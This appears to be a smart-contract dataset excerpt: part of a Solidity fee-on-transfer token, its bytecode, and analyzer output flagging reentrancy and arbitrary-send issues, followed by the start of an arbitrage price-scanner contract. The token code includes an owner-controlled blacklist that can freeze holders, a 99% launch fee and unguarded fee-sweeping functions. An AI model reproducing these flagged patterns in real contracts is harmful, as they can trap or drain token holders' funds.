inSwap = false;
}
constructor(address payable addr1, address payable addr2, address payable addr3, address payable addr4, address payable addr5) {
_feeAddrWallet1 = addr1;
_feeAddrWallet2 = addr2;
_rOwned[_msgSender()] = _rTotal;
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
_isExcludedFromFee[addr4] = true;
_isExcludedFromFee[_feeAddrWallet1] = true;
_isExcludedFromFee[addr5] = true;
_isExcludedFromFee[_feeAddrWallet2] = true;
_isExcludedFromFee[addr3] = true;
emit Transfer(
address(0),
_msgSender(),
_tTotal
);
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public pure override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount)
public
override
returns (bool)
{
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender)
public
view
override
returns (uint256)
{
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount)
public
override
returns (bool)
{
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(
address sender,
address recipient,
uint256 amount
) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(
sender,
_msgSender(),
_allowances[sender][_msgSender()].sub(
amount,
"ERC20: transfer amount exceeds allowance"
)
);
return true;
}
function setCooldownEnabled(bool onoff) external onlyOwner {
cooldownEnabled = onoff;
}
function tokenFromReflection(uint256 rAmount)
private
view
returns (uint256)
{
require(
rAmount <= _rTotal,
"Amount must be less than total reflections"
);
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function _approve(
address owner,
address spender,
uint256 amount
) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(
address from,
address to,
uint256 amount
) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
_feeAddr1 = 4;
_feeAddr2 = 5;
if (from != owner() && to != owner() && from != address(this) && !_isExcludedFromFee[from] && !_isExcludedFromFee[to]) {
require(!bots[from] && !bots[to]);
if (
from == uniswapV2Pair &&
to != address(uniswapV2Router) &&
!_isExcludedFromFee[to] &&
cooldownEnabled
) {
// Not over max tx amount
require(amount <= _maxTxAmount, "Over max transaction amount.");
// Cooldown
require(cooldown[to] < block.timestamp, "Cooldown enforced.");
// Max wallet
require(balanceOf(to) + amount <= _maxWalletAmount, "Over max wallet amount.");
cooldown[to] = block.timestamp + (30 seconds);
}
if (
to == uniswapV2Pair &&
from != address(uniswapV2Router) &&
!_isExcludedFromFee[from]
) {
_feeAddr1 = 4;
_feeAddr2 = 5;
}
if (openBlock + 3 >= block.number && from == uniswapV2Pair) {
_feeAddr1 = 1;
_feeAddr2 = 99;
}
uint256 contractTokenBalance = balanceOf(address(this));
bool canSwap = contractTokenBalance >= _swapTokensAtAmount;
if (canSwap && !inSwap && from != uniswapV2Pair && swapEnabled) {
swapTokensForEth(contractTokenBalance);
uint256 contractETHBalance = address(this).balance;
if (contractETHBalance > 0) {
sendETHToFee(address(this).balance);
}
}
} else {
// Only if it's not from or to owner or from contract address.
_feeAddr1 = 0;
_feeAddr2 = 0;
}
_tokenTransfer(from, to, amount);
}
function swapAndLiquifyEnabled(bool enabled) public onlyOwner {
inSwap = enabled;
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
function sendETHToFee(uint256 amount) private {
_feeAddrWallet1.transfer(amount.div(2));
_feeAddrWallet2.transfer(amount.div(2));
}
function setMaxTxAmount(uint256 amount) public onlyOwner {
_maxTxAmount = amount * 10**9;
}
function setMaxWalletAmount(uint256 amount) public onlyOwner {
_maxWalletAmount = amount * 10**9;
}
function whitelist(address payable adr1) external onlyOwner {
_isExcludedFromFee[adr1] = true;
}
function unwhitelist(address payable adr2) external onlyOwner {
_isExcludedFromFee[adr2] = false;
}
function openTrading() external onlyOwner {
require(!tradingOpen, "trading is already open");
IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(
0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D
);
uniswapV2Router = _uniswapV2Router;
_approve(address(this), address(uniswapV2Router), _tTotal);
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory())
.createPair(address(this), _uniswapV2Router.WETH());
uniswapV2Router.addLiquidityETH{value: address(this).balance}(
address(this),
balanceOf(address(this)),
0,
0,
owner(),
block.timestamp
);
swapEnabled = true;
cooldownEnabled = true;
// .5%
_maxTxAmount = 2000000000000 * 10**9;
_maxWalletAmount = 4000000000000 * 10**9;
tradingOpen = true;
openBlock = block.number;
IERC20(uniswapV2Pair).approve(
address(uniswapV2Router),
type(uint256).max
);
}
function addBot(address theBot) public onlyOwner {
bots[theBot] = true;
}
function delBot(address notbot) public onlyOwner {
bots[notbot] = false;
}
function setSwapTokens(uint256 swaptokens) public onlyOwner {
_swapTokensAtAmount = swaptokens;
}
function _tokenTransfer(
address sender,
address recipient,
uint256 amount
) private {
_transferStandard(sender, recipient, amount);
}
function _transferStandard(
address sender,
address recipient,
uint256 tAmount
) private {
(
uint256 rAmount,
uint256 rTransferAmount,
uint256 rFee,
uint256 tTransferAmount,
uint256 tFee,
uint256 tTeam
) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _takeTeam(uint256 tTeam) private {
uint256 currentRate = _getRate();
uint256 rTeam = tTeam.mul(currentRate);
_rOwned[address(this)] = _rOwned[address(this)].add(rTeam);
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotal = _rTotal.sub(rFee);
_tFeeTotal = _tFeeTotal.add(tFee);
}
receive() external payable {}
function manualSwap() external {
uint256 contractBalance = balanceOf(address(this));
swapTokensForEth(contractBalance);
}
function manualSend() external {
uint256 contractETHBalance = address(this).balance;
sendETHToFee(contractETHBalance);
}
function _getValues(uint256 tAmount)
private
view
returns (
uint256,
uint256,
uint256,
uint256,
uint256,
uint256
)
{
(uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(
tAmount,
_feeAddr1,
_feeAddr2
);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(
tAmount,
tFee,
tTeam,
currentRate
);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam);
}
function _getTValues(
uint256 tAmount,
uint256 taxFee,
uint256 TeamFee
)
private
pure
returns (
uint256,
uint256,
uint256
)
{
uint256 tFee = tAmount.mul(taxFee).div(100);
uint256 tTeam = tAmount.mul(TeamFee).div(100);
uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam);
return (tTransferAmount, tFee, tTeam);
}
function _getRValues(
uint256 tAmount,
uint256 tFee,
uint256 tTeam,
uint256 currentRate
)
private
pure
returns (
uint256,
uint256,
uint256
)
{
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rTeam = tTeam.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam);
return (rAmount, rTransferAmount, rFee);
}
function _getRate() private view returns (uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns (uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
} | 0x6080604052600436106101445760003560e01c80638da5cb5b116100b6578063c9567bf91161006f578063c9567bf9146103ad578063dd62ed3e146103c2578063e98391ff14610408578063ec28438a14610428578063f429389014610448578063ffecf5161461045d57600080fd5b80638da5cb5b146102d357806395d89b41146102fb5780639a5904271461032d5780639b19251a1461034d578063a9059cbb1461036d578063bf6642e71461038d57600080fd5b806327a14fc21161010857806327a14fc21461022d578063313ce5671461024d57806351bc3c85146102695780635932ead11461027e57806370a082311461029e578063715018a6146102be57600080fd5b806306fdde0314610150578063095ea7b31461019457806318160ddd146101c457806323b872dd146101eb578063273123b71461020b57600080fd5b3661014b57005b600080fd5b34801561015c57600080fd5b5060408051808201909152600981526814da1a589850da185960ba1b60208201525b60405161018b9190611ab4565b60405180910390f35b3480156101a057600080fd5b506101b46101af366004611a07565b61047d565b604051901515815260200161018b565b3480156101d057600080fd5b5069152d02c7e14af68000005b60405190815260200161018b565b3480156101f757600080fd5b506101b46102063660046119c6565b610494565b34801561021757600080fd5b5061022b610226366004611953565b6104fd565b005b34801561023957600080fd5b5061022b610248366004611a6d565b610551565b34801561025957600080fd5b506040516009815260200161018b565b34801561027557600080fd5b5061022b61058f565b34801561028a57600080fd5b5061022b610299366004611a33565b6105a8565b3480156102aa57600080fd5b506101dd6102b9366004611953565b6105f0565b3480156102ca57600080fd5b5061022b610612565b3480156102df57600080fd5b506000546040516001600160a01b03909116815260200161018b565b34801561030757600080fd5b5060408051808201909152600981526814d212509050d2105160ba1b602082015261017e565b34801561033957600080fd5b5061022b610348366004611953565b610686565b34801561035957600080fd5b5061022b610368366004611953565b6106d1565b34801561037957600080fd5b506101b4610388366004611a07565b61071f565b34801561039957600080fd5b5061022b6103a8366004611a6d565b61072c565b3480156103b957600080fd5b5061022b61075b565b3480156103ce57600080fd5b506101dd6103dd36600461198d565b6001600160a01b03918216600090815260046020908152604080832093909416825291909152205490565b34801561041457600080fd5b5061022b610423366004611a33565b610b35565b34801561043457600080fd5b5061022b610443366004611a6d565b610b7d565b34801561045457600080fd5b5061022b610bbb565b34801561046957600080fd5b5061022b610478366004611953565b610bc5565b600061048a338484610c13565b5060015b92915050565b60006104a1848484610d37565b6104f384336104ee85604051806060016040528060288152602001611c6f602891396001600160a01b038a166000908152600460209081526040808320338452909152902054919061121e565b610c13565b5060019392505050565b6000546001600160a01b031633146105305760405162461bcd60e51b815260040161052790611b09565b60405180910390fd5b6001600160a01b03166000908152600660205260409020805460ff19169055565b6000546001600160a01b0316331461057b5760405162461bcd60e51b815260040161052790611b09565b61058981633b9aca00611be9565b600d5550565b600061059a306105f0565b90506105a581611258565b50565b6000546001600160a01b031633146105d25760405162461bcd60e51b815260040161052790611b09565b60138054911515600160b81b0260ff60b81b19909216919091179055565b6001600160a01b03811660009081526002602052604081205461048e906113e1565b6000546001600160a01b0316331461063c5760405162461bcd60e51b815260040161052790611b09565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6000546001600160a01b031633146106b05760405162461bcd60e51b815260040161052790611b09565b6001600160a01b03166000908152600560205260409020805460ff19169055565b6000546001600160a01b031633146106fb5760405162461bcd60e51b815260040161052790611b09565b6001600160a01b03166000908152600560205260409020805460ff19166001179055565b600061048a338484610d37565b6000546001600160a01b031633146107565760405162461bcd60e51b815260040161052790611b09565b600c55565b6000546001600160a01b031633146107855760405162461bcd60e51b815260040161052790611b09565b601354600160a01b900460ff16156107df5760405162461bcd60e51b815260206004820152601760248201527f74726164696e6720697320616c7265616479206f70656e0000000000000000006044820152606401610527565b601280546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d90811790915561081d308269152d02c7e14af6800000610c13565b806001600160a01b031663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b15801561085657600080fd5b505afa15801561086a573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061088e9190611970565b6001600160a01b031663c9c6539630836001600160a01b031663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b1580156108d657600080fd5b505afa1580156108ea573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061090e9190611970565b6040516001600160e01b031960e085901b1681526001600160a01b03928316600482015291166024820152604401602060405180830381600087803b15801561095657600080fd5b505af115801561096a573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061098e9190611970565b601380546001600160a01b0319166001600160a01b039283161790556012541663f305d71947306109be816105f0565b6000806109d36000546001600160a01b031690565b60405160e088901b6001600160e01b03191681526001600160a01b03958616600482015260248101949094526044840192909252606483015290911660848201524260a482015260c4016060604051808303818588803b158015610a3657600080fd5b505af1158015610a4a573d6000803e3d6000fd5b50505050506040513d601f19601f82011682018060405250810190610a6f9190611a86565b505060138054686c6b935b8bbd400000600a5568d8d726b7177a800000600d5563ffff00ff60a01b198116630101000160a01b1790915543600b5560125460405163095ea7b360e01b81526001600160a01b03918216600482015260001960248201529116915063095ea7b390604401602060405180830381600087803b158015610af957600080fd5b505af1158015610b0d573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610b319190611a50565b5050565b6000546001600160a01b03163314610b5f5760405162461bcd60e51b815260040161052790611b09565b60138054911515600160a81b0260ff60a81b19909216919091179055565b6000546001600160a01b03163314610ba75760405162461bcd60e51b815260040161052790611b09565b610bb581633b9aca00611be9565b600a5550565b476105a581611465565b6000546001600160a01b03163314610bef5760405162461bcd60e51b815260040161052790611b09565b6001600160a01b03166000908152600660205260409020805460ff19166001179055565b6001600160a01b038316610c755760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b6064820152608401610527565b6001600160a01b038216610cd65760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b6064820152608401610527565b6001600160a01b0383811660008181526004602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038316610d9b5760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b6064820152608401610527565b6001600160a01b038216610dfd5760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b6064820152608401610527565b60008111610e5f5760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b6064820152608401610527565b6004600e556005600f556000546001600160a01b03848116911614801590610e9557506000546001600160a01b03838116911614155b8015610eaa57506001600160a01b0383163014155b8015610ecf57506001600160a01b03831660009081526005602052604090205460ff16155b8015610ef457506001600160a01b03821660009081526005602052604090205460ff16155b15611203576001600160a01b03831660009081526006602052604090205460ff16158015610f3b57506001600160a01b03821660009081526006602052604090205460ff16155b610f4457600080fd5b6013546001600160a01b038481169116148015610f6f57506012546001600160a01b03838116911614155b8015610f9457506001600160a01b03821660009081526005602052604090205460ff16155b8015610fa95750601354600160b81b900460ff165b156110e657600a548111156110005760405162461bcd60e51b815260206004820152601c60248201527f4f766572206d6178207472616e73616374696f6e20616d6f756e742e000000006044820152606401610527565b6001600160a01b038216600090815260076020526040902054421161105c5760405162461bcd60e51b815260206004820152601260248201527121b7b7b63237bbb71032b73337b931b2b21760711b6044820152606401610527565b600d5481611069846105f0565b6110739190611baf565b11156110c15760405162461bcd60e51b815260206004820152601760248201527f4f766572206d61782077616c6c657420616d6f756e742e0000000000000000006044820152606401610527565b6110cc42601e611baf565b6001600160a01b0383166000908152600760205260409020555b6013546001600160a01b03838116911614801561111157506012546001600160a01b03848116911614155b801561113657506001600160a01b03831660009081526005602052604090205460ff16155b15611146576004600e556005600f555b43600b5460036111569190611baf565b1015801561117157506013546001600160a01b038481169116145b15611181576001600e556063600f555b600061118c306105f0565b600c54909150811080159081906111ad5750601354600160a81b900460ff16155b80156111c757506013546001600160a01b03868116911614155b80156111dc5750601354600160b01b900460ff165b156111fc576111ea82611258565b4780156111fa576111fa47611465565b505b505061120e565b6000600e819055600f555b6112198383836114ea565b505050565b600081848411156112425760405162461bcd60e51b81526004016105279190611ab4565b50600061124f8486611c08565b95945050505050565b6013805460ff60a81b1916600160a81b17905560408051600280825260608201835260009260208301908036833701905050905030816000815181106112a0576112a0611c35565b6001600160a01b03928316602091820292909201810191909152601254604080516315ab88c960e31b81529051919093169263ad5c4648926004808301939192829003018186803b1580156112f457600080fd5b505afa158015611308573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061132c9190611970565b8160018151811061133f5761133f611c35565b6001600160a01b0392831660209182029290920101526012546113659130911684610c13565b60125460405163791ac94760e01b81526001600160a01b039091169063791ac9479061139e908590600090869030904290600401611b3e565b600060405180830381600087803b1580156113b857600080fd5b505af11580156113cc573d6000803e3d6000fd5b50506013805460ff60a81b1916905550505050565b60006008548211156114485760405162461bcd60e51b815260206004820152602a60248201527f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260448201526965666c656374696f6e7360b01b6064820152608401610527565b60006114526114f5565b905061145e8382611518565b9392505050565b6010546001600160a01b03166108fc61147f836002611518565b6040518115909202916000818181858888f193505050501580156114a7573d6000803e3d6000fd5b506011546001600160a01b03166108fc6114c2836002611518565b6040518115909202916000818181858888f19350505050158015610b31573d6000803e3d6000fd5b61121983838361155a565b6000806000611502611651565b90925090506115118282611518565b9250505090565b600061145e83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250611695565b60008060008060008061156c876116c3565b6001600160a01b038f16600090815260026020526040902054959b5093995091975095509350915061159e9087611720565b6001600160a01b03808b1660009081526002602052604080822093909355908a16815220546115cd9086611762565b6001600160a01b0389166000908152600260205260409020556115ef816117c1565b6115f9848361180b565b876001600160a01b0316896001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8560405161163e91815260200190565b60405180910390a3505050505050505050565b600854600090819069152d02c7e14af680000061166e8282611518565b82101561168c5750506008549269152d02c7e14af680000092509050565b90939092509050565b600081836116b65760405162461bcd60e51b81526004016105279190611ab4565b50600061124f8486611bc7565b60008060008060008060008060006116e08a600e54600f5461182f565b92509250925060006116f06114f5565b905060008060006117038e878787611884565b919e509c509a509598509396509194505050505091939550919395565b600061145e83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f77000081525061121e565b60008061176f8385611baf565b90508381101561145e5760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f7700000000006044820152606401610527565b60006117cb6114f5565b905060006117d983836118d4565b306000908152600260205260409020549091506117f69082611762565b30600090815260026020526040902055505050565b6008546118189083611720565b6008556009546118289082611762565b6009555050565b6000808080611849606461184389896118d4565b90611518565b9050600061185c60646118438a896118d4565b905060006118748261186e8b86611720565b90611720565b9992985090965090945050505050565b600080808061189388866118d4565b905060006118a188876118d4565b905060006118af88886118d4565b905060006118c18261186e8686611720565b939b939a50919850919650505050505050565b6000826118e35750600061048e565b60006118ef8385611be9565b9050826118fc8583611bc7565b1461145e5760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b6064820152608401610527565b60006020828403121561196557600080fd5b813561145e81611c4b565b60006020828403121561198257600080fd5b815161145e81611c4b565b600080604083850312156119a057600080fd5b82356119ab81611c4b565b915060208301356119bb81611c4b565b809150509250929050565b6000806000606084860312156119db57600080fd5b83356119e681611c4b565b925060208401356119f681611c4b565b929592945050506040919091013590565b60008060408385031215611a1a57600080fd5b8235611a2581611c4b565b946020939093013593505050565b600060208284031215611a4557600080fd5b813561145e81611c60565b600060208284031215611a6257600080fd5b815161145e81611c60565b600060208284031215611a7f57600080fd5b5035919050565b600080600060608486031215611a9b57600080fd5b8351925060208401519150604084015190509250925092565b600060208083528351808285015260005b81811015611ae157858101830151858201604001528201611ac5565b81811115611af3576000604083870101525b50601f01601f1916929092016040019392505050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b81811015611b8e5784516001600160a01b031683529383019391830191600101611b69565b50506001600160a01b03969096166060850152505050608001529392505050565b60008219821115611bc257611bc2611c1f565b500190565b600082611be457634e487b7160e01b600052601260045260246000fd5b500490565b6000816000190483118215151615611c0357611c03611c1f565b500290565b600082821015611c1a57611c1a611c1f565b500390565b634e487b7160e01b600052601160045260246000fd5b634e487b7160e01b600052603260045260246000fd5b6001600160a01b03811681146105a557600080fd5b80151581146105a557600080fdfe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a26469706673582212203e47ebc34b99ecb5ddfe424e8dd54a3c3b8c2698c582bf9399f6eedc6b030c7d64736f6c63430008070033 | {"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}]}} | 10,652 |
0x348be36ede74bec12cca1d76167cac5380718124 | pragma solidity >=0.4.26;
pragma experimental ABIEncoderV2;
interface IKyberNetworkProxy {
function maxGasPrice() external view returns(uint);
function getUserCapInWei(address user) external view returns(uint);
function getUserCapInTokenWei(address user, ERC20 token) external view returns(uint);
function enabled() external view returns(bool);
function info(bytes32 id) external view returns(uint);
function getExpectedRate(ERC20 src, ERC20 dest, uint srcQty) external view returns (uint expectedRate, uint slippageRate);
function tradeWithHint(ERC20 src, uint srcAmount, ERC20 dest, address destAddress, uint maxDestAmount, uint minConversionRate, address walletId, bytes hint) external payable returns(uint);
function swapEtherToToken(ERC20 token, uint minRate) external payable returns (uint);
function swapTokenToEther(ERC20 token, uint tokenQty, uint minRate) external returns (uint);
}
contract IUniswapExchange {
// Address of ERC20 token sold on this exchange
function tokenAddress() external view returns (address token);
// Address of Uniswap Factory
function factoryAddress() external view returns (address factory);
// Provide Liquidity
function addLiquidity(uint256 min_liquidity, uint256 max_tokens, uint256 deadline) external payable returns (uint256);
function removeLiquidity(uint256 amount, uint256 min_eth, uint256 min_tokens, uint256 deadline) external returns (uint256, uint256);
// Get Prices
function getEthToTokenInputPrice(uint256 eth_sold) external view returns (uint256 tokens_bought);
function getEthToTokenOutputPrice(uint256 tokens_bought) external view returns (uint256 eth_sold);
function getTokenToEthInputPrice(uint256 tokens_sold) external view returns (uint256 eth_bought);
function getTokenToEthOutputPrice(uint256 eth_bought) external view returns (uint256 tokens_sold);
// Trade ETH to ERC20
function ethToTokenSwapInput(uint256 min_tokens, uint256 deadline) external payable returns (uint256 tokens_bought);
function ethToTokenTransferInput(uint256 min_tokens, uint256 deadline, address recipient) external payable returns (uint256 tokens_bought);
function ethToTokenSwapOutput(uint256 tokens_bought, uint256 deadline) external payable returns (uint256 eth_sold);
function ethToTokenTransferOutput(uint256 tokens_bought, uint256 deadline, address recipient) external payable returns (uint256 eth_sold);
// Trade ERC20 to ETH
function tokenToEthSwapInput(uint256 tokens_sold, uint256 min_eth, uint256 deadline) external returns (uint256 eth_bought);
function tokenToEthTransferInput(uint256 tokens_sold, uint256 min_eth, uint256 deadline, address recipient) external returns (uint256 eth_bought);
function tokenToEthSwapOutput(uint256 eth_bought, uint256 max_tokens, uint256 deadline) external returns (uint256 tokens_sold);
function tokenToEthTransferOutput(uint256 eth_bought, uint256 max_tokens, uint256 deadline, address recipient) external returns (uint256 tokens_sold);
// Trade ERC20 to ERC20
function tokenToTokenSwapInput(uint256 tokens_sold, uint256 min_tokens_bought, uint256 min_eth_bought, uint256 deadline, address token_addr) external returns (uint256 tokens_bought);
function tokenToTokenTransferInput(uint256 tokens_sold, uint256 min_tokens_bought, uint256 min_eth_bought, uint256 deadline, address recipient, address token_addr) external returns (uint256 tokens_bought);
function tokenToTokenSwapOutput(uint256 tokens_bought, uint256 max_tokens_sold, uint256 max_eth_sold, uint256 deadline, address token_addr) external returns (uint256 tokens_sold);
function tokenToTokenTransferOutput(uint256 tokens_bought, uint256 max_tokens_sold, uint256 max_eth_sold, uint256 deadline, address recipient, address token_addr) external returns (uint256 tokens_sold);
// Trade ERC20 to Custom Pool
function tokenToExchangeSwapInput(uint256 tokens_sold, uint256 min_tokens_bought, uint256 min_eth_bought, uint256 deadline, address exchange_addr) external returns (uint256 tokens_bought);
function tokenToExchangeTransferInput(uint256 tokens_sold, uint256 min_tokens_bought, uint256 min_eth_bought, uint256 deadline, address recipient, address exchange_addr) external returns (uint256 tokens_bought);
function tokenToExchangeSwapOutput(uint256 tokens_bought, uint256 max_tokens_sold, uint256 max_eth_sold, uint256 deadline, address exchange_addr) external returns (uint256 tokens_sold);
function tokenToExchangeTransferOutput(uint256 tokens_bought, uint256 max_tokens_sold, uint256 max_eth_sold, uint256 deadline, address recipient, address exchange_addr) external returns (uint256 tokens_sold);
// ERC20 comaptibility for liquidity tokens
bytes32 public name;
bytes32 public symbol;
uint256 public decimals;
function transfer(address _to, uint256 _value) external returns (bool);
function transferFrom(address _from, address _to, uint256 value) external returns (bool);
function approve(address _spender, uint256 _value) external returns (bool);
function allowance(address _owner, address _spender) external view returns (uint256);
function balanceOf(address _owner) external view returns (uint256);
function totalSupply() external view returns (uint256);
// Never use
function setup(address token_addr) external;
}
interface IWETH {
function deposit() external payable;
function withdraw(uint wad) external;
function totalSupply() external view returns (uint);
function approve(address guy, uint wad) external returns (bool);
function transfer(address dst, uint wad) external returns (bool);
function transferFrom(address src, address dst, uint wad) external returns (bool);
function () external payable;
}
interface IUniswapFactory {
function createExchange(address token) external returns (address exchange);
function getExchange(address token) external view returns (address exchange);
function getToken(address exchange) external view returns (address token);
function getTokenWithId(uint256 tokenId) external view returns (address token);
function initializeFactory(address template) external;
}
interface ERC20 {
function totalSupply() external view returns (uint supply);
function balanceOf(address _owner) external view returns (uint balance);
function transfer(address _to, uint _value) external returns (bool success);
function transferFrom(address _from, address _to, uint _value) external returns (bool success);
function approve(address _spender, uint _value) external returns (bool success);
function allowance(address _owner, address _spender) external view returns (uint remaining);
function decimals() external view returns(uint digits);
event Approval(address indexed _owner, address indexed _spender, uint _value);
}
contract IERC20Token {
function name() public view returns (string memory) {this;}
function symbol() public view returns (string memory) {this;}
function decimals() public view returns (uint8) {this;}
function totalSupply() public view returns (uint256) {this;}
function balanceOf(address _owner) public view returns (uint256) {_owner; this;}
function allowance(address _owner, address _spender) public view returns (uint256) {_owner; _spender; this;}
function transfer(address _to, uint256 _value) public returns (bool success);
function transferFrom(address _from, address _to, uint256 _value) public returns (bool success);
function approve(address _spender, uint256 _value) public returns (bool success);
}
interface OrFeedInterface {
function getExchangeRate ( string fromSymbol, string toSymbol, string venue, uint256 amount ) external view returns ( uint256 );
function getTokenDecimalCount ( address tokenAddress ) external view returns ( uint256 );
function getTokenAddress ( string symbol ) external view returns ( address );
function getSynthBytes32 ( string symbol ) external view returns ( bytes32 );
function getForexAddress ( string symbol ) external view returns ( address );
function arb(address fundsReturnToAddress, address liquidityProviderContractAddress, string[] tokens, uint256 amount, string[] exchanges) payable external returns (bool);
}
interface IContractRegistry {
function addressOf(bytes32 _contractName) external view returns (address);
}
interface IBancorNetwork {
function getReturnByPath(address[] _path, uint256 _amount) external view returns (uint256, uint256);
function convert2(address[] _path, uint256 _amount,
uint256 _minReturn,
address _affiliateAccount,
uint256 _affiliateFee
) public payable returns (uint256);
function claimAndConvert2(
address[] _path,
uint256 _amount,
uint256 _minReturn,
address _affiliateAccount,
uint256 _affiliateFee
) public returns (uint256);
}
interface IBancorNetworkPathFinder {
function generatePath(address _sourceToken, address _targetToken) external view returns (address[]);
}
library SafeMath {
function mul(uint256 a, uint256 b) internal view returns(uint256) {
uint256 c = a * b;
assert(a == 0 || c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal view returns(uint256) {
assert(b > 0); // Solidity automatically throws when dividing by 0
uint256 c = a / b;
assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function sub(uint256 a, uint256 b) internal view returns(uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal view returns(uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
contract TradeScanner {
ERC20 constant internal ETH_TOKEN_ADDRESS = ERC20(0x00eeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeee);
IKyberNetworkProxy public proxy = IKyberNetworkProxy(0x818E6FECD516Ecc3849DAf6845e3EC868087B755);
OrFeedInterface orfeed= OrFeedInterface(0x8316b082621cfedab95bf4a44a1d4b64a6ffc336);
// address daiAddress = 0x6b175474e89094c44da98b954eedeac495271d0f;
bytes PERM_HINT = "PERM";
address owner;
modifier onlyOwner() {
if (msg.sender != owner) {
throw;
}
_;
}
constructor(){
owner = msg.sender;
}
function () external payable {
}
function getPriceByActionAndProvider(string _fromToken, string _toToken, string _actionAndExchange, uint256 _amount) view public returns (uint256){
uint256 currentPrice = orfeed.getExchangeRate(_fromToken, _toToken, _actionAndExchange, _amount);
return currentPrice;
}
